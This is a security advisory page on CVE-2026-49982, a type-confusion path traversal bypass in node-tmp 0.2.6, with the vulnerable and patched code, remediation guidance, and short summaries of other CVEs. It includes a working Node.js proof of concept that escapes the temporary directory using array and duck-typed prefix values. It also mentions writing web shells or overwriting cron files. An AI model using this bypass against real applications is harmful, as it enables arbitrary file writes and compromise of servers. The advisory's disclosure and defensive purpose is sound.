CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-49982

CVE-2026-49982: Path Traversal Bypass via Type Confusion in node-tmp

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 15, 2026·6 min read·32 visits

Executive Summary (TL;DR)

A type-confusion vulnerability in node-tmp version 0.2.6 allows path traversal checks to be bypassed using non-string options (such as arrays). This results in arbitrary file and directory creation outside the temporary workspace, potentially leading to unauthorized writes and host compromise.

A high-severity type-confusion path traversal vulnerability (CVE-2026-49982 / GHSA-7c78-jf6q-g5cm) exists in the node-tmp package version 0.2.6. The vulnerability allows remote attackers to bypass path validation checks by passing non-string data types such as Arrays or duck-typed Objects into options like prefix, postfix, or template. Because the library relies on the .includes() method without verifying the input type, standard array checks evaluate differently than string checks. Downstream string coercion subsequently restores the traversal sequence, allowing files and directories to be created outside the designated temporary directory root. This can result in arbitrary file writes and potential local file execution depending on application context.

Vulnerability Overview

The tmp library is a widely used Node.js utility designed to facilitate the secure generation of temporary files and directories. Applications routinely utilize this package to process untrusted uploads, cache session state, or parse ephemeral datasets. Because these operations occur within administrative directory structures, the library is responsible for ensuring that generated resources do not escape their assigned, isolated namespaces.

To prevent directory traversal attacks, version 0.2.6 of the library introduced an internal path validation guard named _assertPath. This guard is designed to audit incoming parameters—such as custom prefixes, postfixes, and path templates—and throw an exception if directory traversal sequences like .. are present. Despite this addition, the validation layer is critically weakened by a lack of input type enforcement.

Because the input validation assumes all arguments are primitive strings, it fails to account for alternative JavaScript data structures. If an application routes raw JSON bodies or complex query objects directly to tmp API interfaces, an attacker can submit non-string objects. This triggers a type-confusion state, allowing directory traversal sequences to bypass the protection routine while maintaining their functionality downstream in the operating system's filesystem layers.

Root Cause Analysis

The root cause of CVE-2026-49982 lies within the implementation of the _assertPath function and how JavaScript handles prototype method calls. In Node.js environments, web frameworks often convert input payloads into complex arrays or custom objects based on query parser configurations. When these structures are supplied to tmp.file(), they are evaluated against the validation logic in lib/tmp.js.

The vulnerable code executes path.includes("..") directly on the input argument. If the input is a primitive string containing ../, JavaScript invokes String.prototype.includes, which checks for the substring and correctly throws an error. However, if the input is an array (such as ['../escape']), JavaScript redirects the call to Array.prototype.includes. This array method performs an element-by-element equality check. Since the string '../escape' is not strictly equal to '..', the check returns false, and the execution continues.

Following validation, the library normalizes the options inside _generateTmpName. The components of the filename are placed into a container array and consolidated using Array.prototype.join(''). This join operation forces all sub-elements to undergo implicit string coercion. The array ['../escape'] stringifies back to '../escape'. When Node's native path.join() links the base directory with the coerced string, the traversal sequence resolves to the parent directory, allowing the boundaries of the safe folder to be escaped completely.

Code Analysis

An analysis of the vulnerable codebase in version 0.2.6 reveals the following validation routines inside lib/tmp.js:

// lib/tmp.js:533-539 (Vulnerable version 0.2.6)
function _assertPath(path) { 
  // Bug: No type assertion is executed before calling .includes().
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }
  return path;
}

The initialization routines consume the output of this function directly, without validating the output structure:

// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);

The fix introduced in 0.2.7 addresses this directly by implementing a strict type-assertion pattern:

// lib/tmp.js:531-542 (Patched version 0.2.7)
function _assertPath(option, value) {
  // Patch: Ensures the value is strictly a primitive string before validating content
  if (typeof value !== 'string') {
    throw new Error(`${option} option must be a string, got "${typeof value}".`);
  }
  if (value.includes("..")) {
    throw new Error("Relative value not allowed");
  }
  return value;
}

This patch completely mitigates the type-confusion attack vector. By enforcing that typeof value === 'string', arrays, duck-typed objects, buffers, or alternative payloads are immediately rejected. The method dispatch is guaranteed to bind to String.prototype.includes, executing the substring validation reliably.

Exploitation

Exploitation of CVE-2026-49982 is highly reliable and requires no authentication if the target application processes remote client inputs directly. In standard Express frameworks using parsed bodies or query arrays, input structures can be coerced to exploit this mechanism. For example, a POST request containing JSON arrays can bypass directory path sanitization.

// Standalone PoC demonstrating bypass with different payload styles
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
 
const baseDir = fs.mkdtempSync('/tmp/isolated-env-');
 
// Bypass vector 1: Using an array payload
try {
  const res = tmp.fileSync({ tmpdir: baseDir, prefix: ['../hijack'] });
  console.log('File successfully escaped to:', res.name);
  res.removeCallback();
} catch (err) {
  console.log('Blocked:', err.message);
}
 
// Bypass vector 2: Duck-typed object utilizing a customized toString mapping
try {
  const res = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../complex-bypass', includes: () => false }
  });
  console.log('File successfully escaped to:', res.name);
  res.removeCallback();
} catch (err) {
  console.log('Blocked:', err.message);
}

An attacker can use this behavior to generate file descriptors in administrative file trees such as webroots (/var/www/html/), user cron structures, or local user paths. If the server writes user-controlled values to the returned file paths, an attacker can overwrite critical scripts or inject a web shell, leading to unauthorized system control.

Impact Assessment

The impact of CVE-2026-49982 depends on how the application handles the temporary file reference after creation. If the application writes user-controlled text directly to the file descriptor provided by tmp, the attacker can achieve arbitrary file write capabilities. This allows the attacker to write data anywhere on the server's filesystem, limited only by the host process's active user permissions.

If the application creates directories rather than files, the path traversal allows attackers to pre-create workspace directories. This can lead to local privilege escalation or file manipulation vulnerabilities through symlink attacks, directory hijacking, or workspace modification.

The CVSS score is 8.2 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L. This score reflects the high impact on data integrity, as arbitrary file writes can modify the system configuration, while data confidentiality remains unaffected directly by this specific mechanism.

Remediation and Mitigation

The primary resolution is to upgrade the tmp dependency to version 0.2.7 or above. This version implements strict string type checks on the prefix, postfix, and template fields. The upgrade is backward-compatible and does not require changes to normal application logic.

If upgrading is not immediately possible, you can implement type validation in your application code before invoking tmp functions. Enforcing primitive type validation ensures that complex input objects are rejected before they reach the library's validation checks.

// Manual type validation workaround
function safeTmpFile(options, callback) {
  const fields = ['prefix', 'postfix', 'template'];
  for (const field of fields) {
    if (options[field] !== undefined && typeof options[field] !== 'string') {
      throw new TypeError(`The ${field} option must be a primitive string`);
    }
  }
  return tmp.file(options, callback);
}

Additionally, you can configure Web Application Firewalls (WAFs) to inspect incoming API requests for multi-dimensional parameters (such as prefix[] or JSON representations using nested structures) directed at file management endpoints.

Official Patches

node-tmpFix PR with strict type enforcement for assertions.

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
EPSS Probability
0.45%
Top 65% most exploited

Affected Systems

Node.js applications running node-tmp version 0.2.6

Affected Versions Detail

Product
Affected Versions
Fixed Version
tmp
raszi
= 0.2.60.2.7
AttributeDetail
CWE IDCWE-20, CWE-22
Attack VectorNetwork
CVSS8.2 (High)
EPSS Score0.00447
ImpactIntegrity (High), Availability (Low)
Exploit StatusProof of Concept (PoC) available
KEV StatusNot listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Improper limitation of a pathname to a restricted directory ('Path Traversal')

Known Exploits & Detection

GitHubExploit methodology and security advisory details including reproducible scenarios.

Vulnerability Timeline

Vulnerability identified and reported by security researcher tonghuaroot.
2026-05-27
CVE-2026-49982 assigned and published.
2026-06-11
GitHub Security Advisory GHSA-7c78-jf6q-g5cm released.
2026-06-11
Official package release containing fixed version 0.2.7.
2026-06-15

References & Sources

  • [1]GitHub Security Advisory Details
  • [2]NVD Vulnerability Listing

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•20 minutes ago•CVE-2026-11393
9.0

CVE-2026-11393: Code Injection via Improper Triple-Quote Escaping in AWS AgentCore CLI

A critical code injection vulnerability exists in @aws/agentcore CLI (AWS AgentCore CLI) during the Bedrock Agent import lifecycle. An authenticated remote attacker with permissions to configure Bedrock collaborator attributes can inject python code by embedding triple-double-quotes (""") inside the collaborationInstruction metadata field. The CLI formats this metadata directly into a Python docstring in a generated main.py file without adequate escaping, leading to arbitrary code execution when the imported agent is run or deployed.

Alon Barad
Alon Barad
0 views•8 min read
•about 1 hour ago•GHSA-WCHH-9X6H-7F6P
5.9

GHSA-WCHH-9X6H-7F6P: Cryptographic Vulnerabilities and Deprecation of Olm in matrix-commander

GHSA-WCHH-9X6H-7F6P documents the critical deprecation of the cryptographic library libolm (Olm) and its Python binding wrapper python-olm, which matrix-commander depended upon via its downstream client library matrix-nio. Multiple cryptographic vulnerabilities (timing leaks, side-channels, signature malleability, and protocol confusion) were disclosed in 2022 and 2024. Because libolm is unmaintained, Python clients using matrix-commander are considered cryptographically unsafe until migrating to vodozemac.

Amit Schendel
Amit Schendel
2 views•8 min read
•about 2 hours ago•CVE-2026-55651
7.1

CVE-2026-55651: Excessive Data Exposure and BOLA in Easy!Appointments Customer Search

An Excessive Data Exposure vulnerability in Easy!Appointments v1.5.2 allows low-privileged administrative users, such as restricted Providers and Secretaries, to harvest unique, stateless appointment hashes belonging to other providers. These hashes act as capability tokens, granting full authorization to reschedule, take over, or delete appointments via stateless endpoints, resulting in a complete Broken Object Level Authorization (BOLA) scenario.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 3 hours ago•CVE-2026-52840
2.7

CVE-2026-52840: Server-Side Request Forgery in Easy!Appointments CalDAV Connector

Easy!Appointments prior to version 1.6.0 is vulnerable to Server-Side Request Forgery (SSRF) within its CalDAV integration module. The system handles user-supplied URLs in the connection test endpoint without verifying host constraints or network schemes, allowing authenticated backend users to probe internal infrastructure.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•CVE-2026-52839
3.3

CVE-2026-52839: Cross-Provider Appointment Injection and Authorization Bypass in Easy!Appointments

An authorization bypass and logical 'write-before-crash' vulnerability in Easy!Appointments versions prior to 1.6.0 allows authenticated users with the 'Provider' role to inject unauthorized bookings into foreign providers' schedules or reassign existing appointments via parameter manipulation on the 'store' and 'update' endpoints.

Alon Barad
Alon Barad
5 views•6 min read
•about 5 hours ago•CVE-2026-52837
6.9

CVE-2026-52837: Unauthenticated PII Leakage in Easy!Appointments Booking Reschedule Endpoint

An unauthenticated Personally Identifiable Information (PII) disclosure vulnerability exists in Easy!Appointments versions up to and including 1.5.2. Requesting the booking reschedule endpoint with a valid appointment hash causes the system to embed the raw customer database record into the HTML response as inline JavaScript variables, exposing sensitive details. This includes email addresses, phone numbers, physical addresses, custom database metadata, and internal directory configurations such as LDAP DNs. The vulnerability has been resolved in version 1.6.0.

Amit Schendel
Amit Schendel
4 views•12 min read